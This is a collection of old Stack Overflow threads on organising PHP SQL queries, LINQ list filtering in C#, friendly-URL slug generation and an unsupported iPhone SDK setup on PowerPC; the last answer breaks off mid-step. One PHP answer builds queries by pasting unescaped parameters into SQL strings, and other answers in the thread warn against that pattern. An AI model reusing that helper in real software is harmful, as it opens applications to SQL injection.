"text": "<p>We were in a similar predicament at one time. We queried a specific table in a variety of ways, over 50+. </p>\n\n<p>What we ended up doing was creating a single Fetch stored procedure that includes a parameter value for the WhereClause. The WhereClause was constructed in a Provider object, we employed the Facade design pattern, where we could <strong>scrub</strong> it for any SQL injection attacks. </p>\n\n<p>So as far as maintenance goes, it is easy to modify. SQL Server is also quite the <strong>chum</strong> and caches the execution plans of dynamic queries so the the overall performance is pretty good. </p>\n\n<p>You'll have to determine the <strong>performance</strong> drawbacks based on your own system and needs, but all and all, this works <strong>very well</strong> for us.</p>\n"
},
{
"answer_id": 37831,
"author": "Rik Heywood",
"author_id": 4012,
"author_profile": "https://Stackoverflow.com/users/4012",
"pm_score": 0,
"selected": false,
"text": "<p><a href=\"https://stackoverflow.com/questions/22278/whats-a-good-way-to-encapsulate-data-access-with-phpmysql\">This other question</a> also has some useful links in it...</p>\n"
},
{
"answer_id": 38053,
"author": "Gary Richardson",
"author_id": 2506,
"author_profile": "https://Stackoverflow.com/users/2506",
"pm_score": 2,
"selected": false,
"text": "<p>First up, you should use placeholders in your query instead of interpolating the variables directly. PDO/MySQLi allow you to write your queries like:</p>\n\n<pre><code>SELECT * FROM sometable WHERE iUser = ?\n</code></pre>\n\n<p>The API will safely substitute the values into the query.</p>\n\n<p>I also prefer to have my queries in the code instead of the database. It's a lot easier to work with an RCS when the queries are with your code. </p>\n\n<p>I have a rule of thumb when working with ORM's: if I'm working with one entity at a time, I'll use the interface. If I'm reporting/working with records in aggregate, I typically write SQL queries to do it. This means there's very few queries in my code.</p>\n"
},
{
"answer_id": 38186,
"author": "Slacker",
"author_id": 4053,
"author_profile": "https://Stackoverflow.com/users/4053",
"pm_score": 1,
"selected": false,
"text": "<p>There are some libraries, such as MDB2 in PEAR that make querying a bit easier and safer.</p>\n\n<p>Unfortunately, they can be a bit wordy to set up, and you sometimes have to pass them the same info twice. I've used MDB2 in a couple of projects, and I tended to write a thin veneer around it, especially for specifying the types of fields. I generally make an object that knows about a particular table and its columns, and then a helper function in that fills in field types for me when I call an MDB2 query function.</p>\n\n<p>For instance:</p>\n\n<pre><code>function MakeTableTypes($TableName, $FieldNames)\n{\n $Types = array();\n\n foreach ($FieldNames as $FieldName => $FieldValue)\n {\n $Types[] = $this->Tables[$TableName]['schema'][$FieldName]['type'];\n }\n\n return $Types;\n}\n</code></pre>\n\n<p>Obviously this object has a map of table names -> schemas that it knows about, and just extracts the types of the fields you specify, and returns an matching type array suitable for use with an MDB2 query.</p>\n\n<p>MDB2 (and similar libraries) then handle the parameter substitution for you, so for update/insert queries, you just build a hash/map from column name to value, and use the 'autoExecute' functions to build and execute the relevant query.</p>\n\n<p>For example:</p>\n\n<pre><code>function UpdateArticle($Article)\n{\n $Types = $this->MakeTableTypes($table_name, $Article);\n\n $res = $this->MDB2->extended->autoExecute($table_name,\n $Article,\n MDB2_AUTOQUERY_UPDATE,\n 'id = '.$this->MDB2->quote($Article['id'], 'integer'),\n $Types);\n}\n</code></pre>\n\n<p>and MDB2 will build the query, escaping everything properly, etc.</p>\n\n<p>I'd recommend measuring performance with MDB2 though, as it pulls in a fair bit of code that might cause you problems if you're not running a PHP accelerator.</p>\n\n<p>As I say, the setup overhead seems daunting at first, but once it's done the queries can be simpler/more symbolic to write and (especially) modify. I think MDB2 should know a bit more about your schema, which would simpify some of the commonly used API calls, but you can reduce the annoyance of this by encapsulating the schema yourself, as I mentioned above, and providing simple accessor functions that generate the arrays MDB2 needs to perform these queries.</p>\n\n<p>Of course you can just do flat SQL queries as a string using the query() function if you want, so you're not forced to switch over to the full 'MDB2 way' - you can try it out piecemeal, and see if you hate it or not.</p>\n"
},
{
"answer_id": 87738,
"author": "Willem",
"author_id": 15447,
"author_profile": "https://Stackoverflow.com/users/15447",
"pm_score": 2,
"selected": false,
"text": "<p>I had to clean up a project wich many (duplicate/similar) queries riddled with injection vulnerabilities.\nThe first steps I took were using placeholders and label every query with the object/method and source-line the query was created. \n(Insert the PHP-constants <strong>METHOD</strong> and <strong>LINE</strong> into a SQL comment-line)</p>\n\n<p>It looked something like this:</p>\n\n<blockquote>\n <p>-- @Line:151 UserClass::getuser():</p>\n\n<pre><code>SELECT * FROM USERS;\n</code></pre>\n</blockquote>\n\n<p>Logging all queries for a short time supplied me with some starting points on which queries to merge. (And where!)</p>\n"
},
{
"answer_id": 88500,
"author": "lewis",
"author_id": 14442,
"author_profile": "https://Stackoverflow.com/users/14442",
"pm_score": 0,
"selected": false,
"text": "<p>I try to use fairly generic functions and just pass the differences in them. This way you only have one function to handle most of your database SELECT's. Obviously you can create another function to handle all your INSERTS.</p>\n\n<p>eg.</p>\n\n<pre><code>function getFromDB($table, $wherefield=null, $whereval=null, $orderby=null) {\n if($wherefield != null) { \n $q = \"SELECT * FROM $table WHERE $wherefield = '$whereval'\"; \n } else { \n $q = \"SELECT * FROM $table\";\n }\n if($orderby != null) { \n $q .= \" ORDER BY \".$orderby; \n }\n\n $result = mysql_query($q)) or die(\"ERROR: \".mysql_error());\n while($row = mysql_fetch_assoc($result)) {\n $records[] = $row;\n }\n return $records;\n}\n</code></pre>\n\n<p>This is just off the top of my head, but you get the idea. To use it just pass the function the necessary parameters:</p>\n\n<p>eg.</p>\n\n<pre><code>$blogposts = getFromDB('myblog', 'author', 'Lewis', 'date DESC');\n</code></pre>\n\n<p>In this case <em>$blogposts</em> will be an array of arrays which represent each row of the table. Then you can just use a foreach or refer to the array directly:</p>\n\n<pre><code>echo $blogposts[0]['title'];\n</code></pre>\n"
},
{
"answer_id": 89454,
"author": "Shabbyrobe",
"author_id": 15004,
"author_profile": "https://Stackoverflow.com/users/15004",
"pm_score": 6,
"selected": true,
"text": "<p>The best course of action for you will depend on how you are approaching your data access. There are three approaches you can take:</p>\n\n<ul>\n<li>Use stored procedures</li>\n<li>Keep the queries in the code (but put all your queries into functions and fix everything to use PDO for parameters, as mentioned earlier)</li>\n<li>Use an ORM tool</li>\n</ul>\n\n<p>If you want to pass your own raw SQL to the database engine then stored procedures would be the way to go if all you want to do is get the raw SQL out of your PHP code but keep it relatively unchanged. The stored procedures vs raw SQL debate is a bit of a holy war, but K. Scott Allen makes an excellent point - albeit a throwaway one - in an article about <a href=\"http://odetocode.com/blogs/scott/archive/2008/02/02/11737.aspx\" rel=\"nofollow noreferrer\">versioning databases</a>: </p>\n\n<blockquote>\n <p>Secondly, stored procedures have fallen out of favor in my eyes. I came from the WinDNA school of indoctrination that said stored procedures should be used all the time. Today, I see stored procedures as an API layer for the database. This is good if you need an API layer at the database level, but I see lots of applications incurring the overhead of creating and maintaining an extra API layer they don't need. In those applications stored procedures are more of a burden than a benefit.</p>\n</blockquote>\n\n<p>I tend to lean towards not using stored procedures. I've worked on projects where the DB has an API exposed through stored procedures, but stored procedures can impose some limitations of their own, and those projects have <em>all</em>, to varying degrees, used dynamically generated raw SQL in code to access the DB. </p>\n\n<p>Having an API layer on the DB gives better delineation of responsibilities between the DB team and the Dev team at the expense of some of the flexibility you'd have if the query was kept in the code, however PHP projects are less likely to have sizable enough teams to benefit from this delineation.</p>\n\n<p>Conceptually, you should probably have your database versioned. Practically speaking, however, you're far more likely to have just your code versioned than you are to have your database versioned. You are likely to be changing your queries when you are making changes to your code, but if you are changing the queries in stored procedures stored against the database then you probably won't be checking those in when you check the code in and you lose many of the benefits of versioning for a significant area of your application.</p>\n\n<p>Regardless of whether or not you elect not to use stored procedures though, you should at the very least ensure that each database operation is stored in an independent function rather than being embedded into each of your page's scripts - essentially an API layer for your DB which is maintained and versioned with your code. If you're using stored procedures, this will effectively mean you have two API layers for your DB, one with the code and one with the DB, which you may feel unnecessarily complicates things if your project does not have separate teams. I certainly do.</p>\n\n<p>If the issue is one of code neatness, there are ways to make code with SQL jammed in it more presentable, and the UserManager class shown below is a good way to start - the class only contains queries which relate to the 'user' table, each query has its own method in the class and the queries are indented into the prepare statements and formatted as you would format them in a stored procedure.</p>\n\n<pre><code>// UserManager.php:\n\nclass UserManager\n{\n function getUsers()\n {\n $pdo = new PDO(...);\n $stmt = $pdo->prepare('\n SELECT u.userId as id,\n u.userName,\n g.groupId,\n g.groupName\n FROM user u\n INNER JOIN group g\n ON u.groupId = g.groupId\n ORDER BY u.userName, g.groupName\n ');\n // iterate over result and prepare return value\n }\n\n function getUser($id) {\n // db code here\n }\n}\n\n// index.php:\nrequire_once(\"UserManager.php\");\n$um = new UserManager;\n$users = $um->getUsers();\nforeach ($users as $user) echo $user['name'];\n</code></pre>\n\n<p>However, if your queries are quite similar but you have huge numbers of permutations in your query conditions like complicated paging, sorting, filtering, etc, an Object/Relational mapper tool is probably the way to go, although the process of overhauling your existing code to make use of the tool could be quite complicated.</p>\n\n<p>If you decide to investigate ORM tools, you should look at <a href=\"http://propel.phpdb.org/\" rel=\"nofollow noreferrer\">Propel</a>, the ActiveRecord component of <a href=\"http://yiiframework.com\" rel=\"nofollow noreferrer\">Yii</a>, or the king-daddy PHP ORM, <a href=\"http://www.doctrine-project.org/\" rel=\"nofollow noreferrer\">Doctrine</a>. Each of these gives you the ability to programmatically build queries to your database with all manner of complicated logic. Doctrine is the most fully featured, allowing you to template your database with things like the <a href=\"http://www.developersdex.com/gurus/articles/112.asp\" rel=\"nofollow noreferrer\">Nested Set tree pattern</a> out of the box.</p>\n\n<p>In terms of performance, stored procedures are the fastest, but generally not by much over raw sql. ORM tools can have a significant performance impact in a number of ways - inefficient or redundant querying, huge file IO while loading the ORM libraries on each request, dynamic SQL generation on each query... all of these things can have an impact, but the use of an ORM tool can drastically increase the power available to you with a much smaller amount of code than creating your own DB layer with manual queries.</p>\n\n<p><a href=\"https://stackoverflow.com/questions/37791/how-do-you-manage-sql-queries#38053\">Gary Richardson</a> is absolutely right though, if you're going to continue to use SQL in your code you should always be using PDO's prepared statements to handle the parameters regardless of whether you're using a query or a stored procedure. The sanitisation of input is performed for you by PDO.</p>\n\n<pre><code>// optional\n$attrs = array(PDO::ATTR_PERSISTENT => true);\n\n// create the PDO object\n$pdo = new PDO(\"mysql:host=localhost;dbname=test\", \"user\", \"pass\", $attrs);\n\n// also optional, but it makes PDO raise exceptions instead of \n// PHP errors which are far more useful for debugging\n$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\n$stmt = $pdo->prepare('INSERT INTO venue(venueName, regionId) VALUES(:venueName, :regionId)');\n$stmt->bindValue(\":venueName\", \"test\");\n$stmt->bindValue(\":regionId\", 1);\n\n$stmt->execute();\n\n$lastInsertId = $pdo->lastInsertId();\nvar_dump($lastInsertId);\n</code></pre>\n\n<p>Caveat: assuming that the ID is 1, the above script will output <code>string(1) \"1\"</code>. <code>PDO->lastInsertId()</code> returns the ID as a string regardless of whether the actual column is an integer or not. This will probably never be a problem for you as PHP performs casting of strings to integers automatically.</p>\n\n<p>The following will output <code>bool(true)</code>:</p>\n\n<pre><code>// regular equality test\nvar_dump($lastInsertId == 1); \n</code></pre>\n\n<p>but if you have code that is expecting the value to be an integer, like <a href=\"http://php.net/manual/en/function.is-int.php\" rel=\"nofollow noreferrer\">is_int</a> or PHP's <a href=\"http://au.php.net/manual/en/language.operators.comparison.php\" rel=\"nofollow noreferrer\">\"is really, truly, 100% equal to\"</a> operator:</p>\n\n<pre><code>var_dump(is_int($lastInsertId));\nvar_dump($lastInsertId === 1);\n</code></pre>\n\n<p>you could run into some issues.</p>\n\n<p><strong>Edit:</strong> Some good discussion on stored procedures <a href=\"https://stackoverflow.com/questions/83419/stored-procedures-a-no-go-in-the-phpmysql-world#84294\">here</a></p>\n"
},
{
"answer_id": 291658,
"author": "user36670",
"author_id": 36670,
"author_profile": "https://Stackoverflow.com/users/36670",
"pm_score": 0,
"selected": false,
"text": "<p>Use a ORM framework like QCodo - you can easily map your existing database</p>\n"
},
{
"answer_id": 430813,
"author": "Andomar",
"author_id": 50552,
"author_profile": "https://Stackoverflow.com/users/50552",
"pm_score": 2,
"selected": false,
"text": "<p>I'd move all the SQL to a separate Perl module (.pm) Many queries could reuse the same functions, with slightly different parameters.</p>\n\n<p>A common mistake for developers is to dive into ORM libraries, parametrized queries and stored procedures. We then work for months in a row to make the code \"better\", but it's only \"better\" in a development kind of way. You're not making any new features!</p>\n\n<p>Use complexity in your code only to address customer needs.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37791",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4012/"
] | At the moment my code (PHP) has too many SQL queries in it. eg...
```
// not a real example, but you get the idea...
$results = $db->GetResults("SELECT * FROM sometable WHERE iUser=$userid");
if ($results) {
// Do something
}
```
I am looking into using stored procedures to reduce this and make things a little more robust, but I have some concerns..
I have hundreds of different queries in use around the web site, and many of them are quite similar. How should I manage all these queries when they are removed from their context (the code that uses the results) and placed in a stored procedure on the database? | The best course of action for you will depend on how you are approaching your data access. There are three approaches you can take:
* Use stored procedures
* Keep the queries in the code (but put all your queries into functions and fix everything to use PDO for parameters, as mentioned earlier)
* Use an ORM tool
If you want to pass your own raw SQL to the database engine then stored procedures would be the way to go if all you want to do is get the raw SQL out of your PHP code but keep it relatively unchanged. The stored procedures vs raw SQL debate is a bit of a holy war, but K. Scott Allen makes an excellent point - albeit a throwaway one - in an article about [versioning databases](http://odetocode.com/blogs/scott/archive/2008/02/02/11737.aspx):
>
> Secondly, stored procedures have fallen out of favor in my eyes. I came from the WinDNA school of indoctrination that said stored procedures should be used all the time. Today, I see stored procedures as an API layer for the database. This is good if you need an API layer at the database level, but I see lots of applications incurring the overhead of creating and maintaining an extra API layer they don't need. In those applications stored procedures are more of a burden than a benefit.
>
>
>
I tend to lean towards not using stored procedures. I've worked on projects where the DB has an API exposed through stored procedures, but stored procedures can impose some limitations of their own, and those projects have *all*, to varying degrees, used dynamically generated raw SQL in code to access the DB.
Having an API layer on the DB gives better delineation of responsibilities between the DB team and the Dev team at the expense of some of the flexibility you'd have if the query was kept in the code, however PHP projects are less likely to have sizable enough teams to benefit from this delineation.
Conceptually, you should probably have your database versioned. Practically speaking, however, you're far more likely to have just your code versioned than you are to have your database versioned. You are likely to be changing your queries when you are making changes to your code, but if you are changing the queries in stored procedures stored against the database then you probably won't be checking those in when you check the code in and you lose many of the benefits of versioning for a significant area of your application.
Regardless of whether or not you elect not to use stored procedures though, you should at the very least ensure that each database operation is stored in an independent function rather than being embedded into each of your page's scripts - essentially an API layer for your DB which is maintained and versioned with your code. If you're using stored procedures, this will effectively mean you have two API layers for your DB, one with the code and one with the DB, which you may feel unnecessarily complicates things if your project does not have separate teams. I certainly do.
If the issue is one of code neatness, there are ways to make code with SQL jammed in it more presentable, and the UserManager class shown below is a good way to start - the class only contains queries which relate to the 'user' table, each query has its own method in the class and the queries are indented into the prepare statements and formatted as you would format them in a stored procedure.
```
// UserManager.php:
class UserManager
{
function getUsers()
{
$pdo = new PDO(...);
$stmt = $pdo->prepare('
SELECT u.userId as id,
u.userName,
g.groupId,
g.groupName
FROM user u
INNER JOIN group g
ON u.groupId = g.groupId
ORDER BY u.userName, g.groupName
');
// iterate over result and prepare return value
}
function getUser($id) {
// db code here
}
}
// index.php:
require_once("UserManager.php");
$um = new UserManager;
$users = $um->getUsers();
foreach ($users as $user) echo $user['name'];
```
However, if your queries are quite similar but you have huge numbers of permutations in your query conditions like complicated paging, sorting, filtering, etc, an Object/Relational mapper tool is probably the way to go, although the process of overhauling your existing code to make use of the tool could be quite complicated.
If you decide to investigate ORM tools, you should look at [Propel](http://propel.phpdb.org/), the ActiveRecord component of [Yii](http://yiiframework.com), or the king-daddy PHP ORM, [Doctrine](http://www.doctrine-project.org/). Each of these gives you the ability to programmatically build queries to your database with all manner of complicated logic. Doctrine is the most fully featured, allowing you to template your database with things like the [Nested Set tree pattern](http://www.developersdex.com/gurus/articles/112.asp) out of the box.
In terms of performance, stored procedures are the fastest, but generally not by much over raw sql. ORM tools can have a significant performance impact in a number of ways - inefficient or redundant querying, huge file IO while loading the ORM libraries on each request, dynamic SQL generation on each query... all of these things can have an impact, but the use of an ORM tool can drastically increase the power available to you with a much smaller amount of code than creating your own DB layer with manual queries.
[Gary Richardson](https://stackoverflow.com/questions/37791/how-do-you-manage-sql-queries#38053) is absolutely right though, if you're going to continue to use SQL in your code you should always be using PDO's prepared statements to handle the parameters regardless of whether you're using a query or a stored procedure. The sanitisation of input is performed for you by PDO.
```
// optional
$attrs = array(PDO::ATTR_PERSISTENT => true);
// create the PDO object
$pdo = new PDO("mysql:host=localhost;dbname=test", "user", "pass", $attrs);
// also optional, but it makes PDO raise exceptions instead of
// PHP errors which are far more useful for debugging
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $pdo->prepare('INSERT INTO venue(venueName, regionId) VALUES(:venueName, :regionId)');
$stmt->bindValue(":venueName", "test");
$stmt->bindValue(":regionId", 1);
$stmt->execute();
$lastInsertId = $pdo->lastInsertId();
var_dump($lastInsertId);
```
Caveat: assuming that the ID is 1, the above script will output `string(1) "1"`. `PDO->lastInsertId()` returns the ID as a string regardless of whether the actual column is an integer or not. This will probably never be a problem for you as PHP performs casting of strings to integers automatically.
The following will output `bool(true)`:
```
// regular equality test
var_dump($lastInsertId == 1);
```
but if you have code that is expecting the value to be an integer, like [is\_int](http://php.net/manual/en/function.is-int.php) or PHP's ["is really, truly, 100% equal to"](http://au.php.net/manual/en/language.operators.comparison.php) operator:
```
var_dump(is_int($lastInsertId));
var_dump($lastInsertId === 1);
```
you could run into some issues.
**Edit:** Some good discussion on stored procedures [here](https://stackoverflow.com/questions/83419/stored-procedures-a-no-go-in-the-phpmysql-world#84294) |
37,805 | <p>I have a <code>List<int></code> and a <code>List<customObject></code>. The customObject class has an ID property. How can I get a <code>List<customObject></code> containing only the objects where the ID property is in the <code>List<int></code> using LINQ?</p>
<p><strong>Edit</strong>: I accepted Konrads answer because it is easier/more intuitive to read.</p>
| [
{
"answer_id": 37807,
"author": "Matt Hamilton",
"author_id": 615,
"author_profile": "https://Stackoverflow.com/users/615",
"pm_score": 3,
"selected": false,
"text": "<p>Untested, but it'll be something like this:</p>\n\n<pre><code>var matches = from o in objList \n join i in intList on o.ID equals i\n select o;\n</code></pre>\n\n<p>@Konrad just tested it, and it does work - I just had a typo where I'd written \"i.ID\" rather than \"i\".</p>\n"
},
{
"answer_id": 37810,
"author": "Konrad Rudolph",
"author_id": 1968,
"author_profile": "https://Stackoverflow.com/users/1968",
"pm_score": 5,
"selected": true,
"text": "<pre><code>var result = from o in objList where intList.Contains(o.ID) select o\n</code></pre>\n"
},
{
"answer_id": 158915,
"author": "Lucas",
"author_id": 24231,
"author_profile": "https://Stackoverflow.com/users/24231",
"pm_score": 2,
"selected": false,
"text": "<p>Just for completeness (and maybe it's easier to read?), using a \"where\" similar to Matt's \"join\":</p>\n\n<pre><code>var matches = from o in customObjectList\n from i in intList\n where o.ID == i\n select o;\n</code></pre>\n"
},
{
"answer_id": 1491976,
"author": "Henryk",
"author_id": 18659,
"author_profile": "https://Stackoverflow.com/users/18659",
"pm_score": 3,
"selected": false,
"text": "<p>I have had a similar problem just now and used the below solution. If you already have the list of objects you can remove all not found in the int list, leaving just matches in objList.</p>\n\n<pre><code>objList.RemoveAll(x => !intList.Contains(x.id));\n</code></pre>\n"
},
{
"answer_id": 6962016,
"author": "Diana ",
"author_id": 881256,
"author_profile": "https://Stackoverflow.com/users/881256",
"pm_score": 0,
"selected": false,
"text": "<p>Please note that using the join instead of contains DOES NOT work when the count of items in the list exceeds 49! You will get the error: <code>Some part of your SQL statement is nested too deeply. Rewrite the query or break it up into smaller queries.</code></p>\n"
},
{
"answer_id": 19765766,
"author": "Robin Winslow",
"author_id": 613540,
"author_profile": "https://Stackoverflow.com/users/613540",
"pm_score": 4,
"selected": false,
"text": "<pre><code>using System.Linq;\n\nobjList.Where(x => intList.Contains(x.id));\n</code></pre>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37805",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2257/"
] | I have a `List<int>` and a `List<customObject>`. The customObject class has an ID property. How can I get a `List<customObject>` containing only the objects where the ID property is in the `List<int>` using LINQ?
**Edit**: I accepted Konrads answer because it is easier/more intuitive to read. | ```
var result = from o in objList where intList.Contains(o.ID) select o
``` |
37,809 | <p>How can I go about generating a Friendly URL in C#? Currently I simple replace spaces with an underscore, but how would I go about generating URL's like Stack Overflow?</p>
<p>For example how can I convert:</p>
<blockquote>
<p>How do I generate a Friendly URL in C#?</p>
</blockquote>
<p>Into</p>
<blockquote>
<p>how-do-i-generate-a-friendly-url-in-C</p>
</blockquote>
| [
{
"answer_id": 37817,
"author": "Jeff Atwood",
"author_id": 1,
"author_profile": "https://Stackoverflow.com/users/1",
"pm_score": 4,
"selected": false,
"text": "<p>Here's how we do it. Note that there are probably more edge conditions than you realize at first glance..</p>\n\n<pre><code>if (String.IsNullOrEmpty(title)) return \"\";\n\n// remove entities\ntitle = Regex.Replace(title, @\"&\\w+;\", \"\");\n// remove anything that is not letters, numbers, dash, or space\ntitle = Regex.Replace(title, @\"[^A-Za-z0-9\\-\\s]\", \"\");\n// remove any leading or trailing spaces left over\ntitle = title.Trim();\n// replace spaces with single dash\ntitle = Regex.Replace(title, @\"\\s+\", \"-\");\n// if we end up with multiple dashes, collapse to single dash \ntitle = Regex.Replace(title, @\"\\-{2,}\", \"-\");\n// make it all lower case\ntitle = title.ToLower();\n// if it's too long, clip it\nif (title.Length > 80)\n title = title.Substring(0, 79);\n// remove trailing dash, if there is one\nif (title.EndsWith(\"-\"))\n title = title.Substring(0, title.Length - 1);\nreturn title;\n</code></pre>\n"
},
{
"answer_id": 37818,
"author": "Matt Hamilton",
"author_id": 615,
"author_profile": "https://Stackoverflow.com/users/615",
"pm_score": 3,
"selected": false,
"text": "<p>This gets part of the way there (using a whitelist of valid characters):</p>\n\n<pre><code>new Regex(\"[^a-zA-Z-_]\").Replace(s, \"-\")\n</code></pre>\n\n<p>It does, however, give you a string that ends with \"--\". So perhaps a second regex to trim those from the beginning/end of the string, and maybe replace any internal \"--\" to \"-\".</p>\n"
},
{
"answer_id": 37880,
"author": "Konrad Rudolph",
"author_id": 1968,
"author_profile": "https://Stackoverflow.com/users/1968",
"pm_score": 7,
"selected": true,
"text": "<p>There are several things that could be improved in Jeff's solution, though.</p>\n\n<pre><code>if (String.IsNullOrEmpty(title)) return \"\";\n</code></pre>\n\n<p>IMHO, not the place to test this. If the function gets passed an empty string, something went seriously wrong anyway. Throw an error or don't react at all.</p>\n\n<pre><code>// remove any leading or trailing spaces left over\n… muuuch later:\n// remove trailing dash, if there is one\n</code></pre>\n\n<p>Twice the work. Considering that each operation creates a whole new string, this is bad, even if performance is not an issue.</p>\n\n<pre><code>// replace spaces with single dash\ntitle = Regex.Replace(title, @\"\\s+\", \"-\");\n// if we end up with multiple dashes, collapse to single dash \ntitle = Regex.Replace(title, @\"\\-{2,}\", \"-\");\n</code></pre>\n\n<p>Again, basically twice the work: First, use regex to replace multiple spaces at once. Then, use regex again to replace multiple dashes at once. Two expressions to parse, two automata to construct in memory, iterate twice over the string, create two strings: All these operations can be collapsed to a single one.</p>\n\n<p>Off the top of my head, without any testing whatsoever, this would be an equivalent solution:</p>\n\n<pre><code>// make it all lower case\ntitle = title.ToLower();\n// remove entities\ntitle = Regex.Replace(title, @\"&\\w+;\", \"\");\n// remove anything that is not letters, numbers, dash, or space\ntitle = Regex.Replace(title, @\"[^a-z0-9\\-\\s]\", \"\");\n// replace spaces\ntitle = title.Replace(' ', '-');\n// collapse dashes\ntitle = Regex.Replace(title, @\"-{2,}\", \"-\");\n// trim excessive dashes at the beginning\ntitle = title.TrimStart(new [] {'-'});\n// if it's too long, clip it\nif (title.Length > 80)\n title = title.Substring(0, 79);\n// remove trailing dashes\ntitle = title.TrimEnd(new [] {'-'});\nreturn title;\n</code></pre>\n\n<p>Notice that this method uses string functions instead of regex functions and char functions instead of string functions whenever possible.</p>\n"
},
{
"answer_id": 58835281,
"author": "Arslan Ali",
"author_id": 3492230,
"author_profile": "https://Stackoverflow.com/users/3492230",
"pm_score": 0,
"selected": false,
"text": "<p>here is a simple function which can convert your string to Url, you just need to pass title or string it will convert it to user friendly Url.</p>\n\n<pre><code> public static string GenerateUrl(string Url)\n {\n string UrlPeplaceSpecialWords = Regex.Replace(Url, @\"&quot;|['\"\",&?%\\.!()@$^_+=*:#/\\\\-]\", \" \").Trim();\n string RemoveMutipleSpaces = Regex.Replace(UrlPeplaceSpecialWords, @\"\\s+\", \" \");\n string ReplaceDashes = RemoveMutipleSpaces.Replace(\" \", \"-\");\n string DuplicateDashesRemove = ReplaceDashes.Replace(\"--\", \"-\");\n return DuplicateDashesRemove.ToLower();\n }\n</code></pre>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/37809",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/383/"
] | How can I go about generating a Friendly URL in C#? Currently I simple replace spaces with an underscore, but how would I go about generating URL's like Stack Overflow?
For example how can I convert:
>
> How do I generate a Friendly URL in C#?
>
>
>
Into
>
> how-do-i-generate-a-friendly-url-in-C
>
>
> | There are several things that could be improved in Jeff's solution, though.
```
if (String.IsNullOrEmpty(title)) return "";
```
IMHO, not the place to test this. If the function gets passed an empty string, something went seriously wrong anyway. Throw an error or don't react at all.
```
// remove any leading or trailing spaces left over
… muuuch later:
// remove trailing dash, if there is one
```
Twice the work. Considering that each operation creates a whole new string, this is bad, even if performance is not an issue.
```
// replace spaces with single dash
title = Regex.Replace(title, @"\s+", "-");
// if we end up with multiple dashes, collapse to single dash
title = Regex.Replace(title, @"\-{2,}", "-");
```
Again, basically twice the work: First, use regex to replace multiple spaces at once. Then, use regex again to replace multiple dashes at once. Two expressions to parse, two automata to construct in memory, iterate twice over the string, create two strings: All these operations can be collapsed to a single one.
Off the top of my head, without any testing whatsoever, this would be an equivalent solution:
```
// make it all lower case
title = title.ToLower();
// remove entities
title = Regex.Replace(title, @"&\w+;", "");
// remove anything that is not letters, numbers, dash, or space
title = Regex.Replace(title, @"[^a-z0-9\-\s]", "");
// replace spaces
title = title.Replace(' ', '-');
// collapse dashes
title = Regex.Replace(title, @"-{2,}", "-");
// trim excessive dashes at the beginning
title = title.TrimStart(new [] {'-'});
// if it's too long, clip it
if (title.Length > 80)
title = title.Substring(0, 79);
// remove trailing dashes
title = title.TrimEnd(new [] {'-'});
return title;
```
Notice that this method uses string functions instead of regex functions and char functions instead of string functions whenever possible. |
37,822 | <p>I have read that the iPhone SDK (part of Xcode 3) is restricted to Mac's with the intel chipset. Does this restriction apply to only the simulator part of the SDK or the complete shebang?</p>
<p>I have a Powerbook G4 running Leopard and would very much like to do dev on it rather than fork out for a new machine.</p>
<p>It is also worth clarifying that I am interested in development for personal reasons and therefore accept that I would need a certified platform to create a submission for the App Store. </p>
| [
{
"answer_id": 38554,
"author": "Chris Hanson",
"author_id": 714,
"author_profile": "https://Stackoverflow.com/users/714",
"pm_score": 2,
"selected": false,
"text": "<p>The iPhone SDK is documented to require an Intel-based Mac. Even if some people may be able to have gotten it to run on some other hardware doesn't mean that it will run correctly, that Apple will fix bugs you report, or that it is a supported environment.</p>\n"
},
{
"answer_id": 38577,
"author": "dbr",
"author_id": 745,
"author_profile": "https://Stackoverflow.com/users/745",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>I have a Powerbook G4 running Leopard and would very much like to do dev on it </p>\n</blockquote>\n\n<p>Not sure what sort of application you are developing, but if you jailbreak your iPhone, you can:</p>\n\n<ul>\n<li>develop applications using Ruby/Python/Java which won't require compiling at all</li>\n<li>compile on the phone(!), as there is an GCC/Toolchain install in Cydia - although I've no idea how long that'll take, or if you can simply take a regular iPhone SDK project and SSH it to the phone, and run <code>xcodebuild</code>)</li>\n</ul>\n\n<p>You <em>should</em> be able to compile iPhone applications from a PPC machine, as you can compile PPC applications from an Intel Mac, and vice-versa, there shouldn't be any reason you can't compile an ARM binary from PPC.. Wether or not Apple include the necessary stuff with Xcode to allow this is a different matter.. The steps that <a href=\"http://3by9.com/85/\" rel=\"nofollow noreferrer\">Ingmar posted</a> seem to imply you can..?</p>\n"
},
{
"answer_id": 45592,
"author": "Clokey",
"author_id": 2438,
"author_profile": "https://Stackoverflow.com/users/2438",
"pm_score": 3,
"selected": false,
"text": "<p>As things have moved on since the original post on 3by9.com, here are the steps that I had to follow to get the environment working on my PowerBook G4.</p>\n\n<p><strong>BTW, I would like to say that I realise that this is not a supported environment and I share this for purely pedagogic rea</strong>sons.</p>\n\n<ol>\n<li>Download and install the iPhoneSDK (final version)</li>\n<li>After the install finishes, navigate to the packages directory in the mounted DMG</li>\n<li>Install all of the pkg's that start with iPhone</li>\n<li>Copy the contents of <code>/Platforms</code> to <code>/Developer/Platforms</code> (should be two folders starting with iPhone)</li>\n<li>Locate '<code>iPhone Simulator Architectures.xcspec</code>' in <code>/Developer/Platforms/iPhoneSimulator.platform/Developer/Library/Xcode/Specifications</code> and open in a text editor.</li>\n<li>Change line 12 to: <code>Name = \"Standard (iPhone Simulator: i386 ppc)\";</code></li>\n<li>Change line 16 to: <code>RealArchitectures = ( i386, ppc );</code></li>\n<li>Add the following to line 40 onwards:</li>\n</ol>\n\n<pre>\n // PowerPC\n { Type = Architecture;\n Identifier = ppc;\n Name = \"PowerPC\";\n Description = \"32-bit PowerPC\";\n PerArchBuildSettingName = \"PowerPC\";\n ByteOrder = big;\n ListInEnum = NO;\n SortNumber = 106;\n },\n</pre>\n\n<ol start=\"9\">\n<li>Save the file and start Xcode</li>\n<li>You should see under the New Project Folder the ability to create iPhone applications.</li>\n<li>To get an app to work in the simulator (and using the WhichWayIsUp example) open Edit Project Settings under the Project 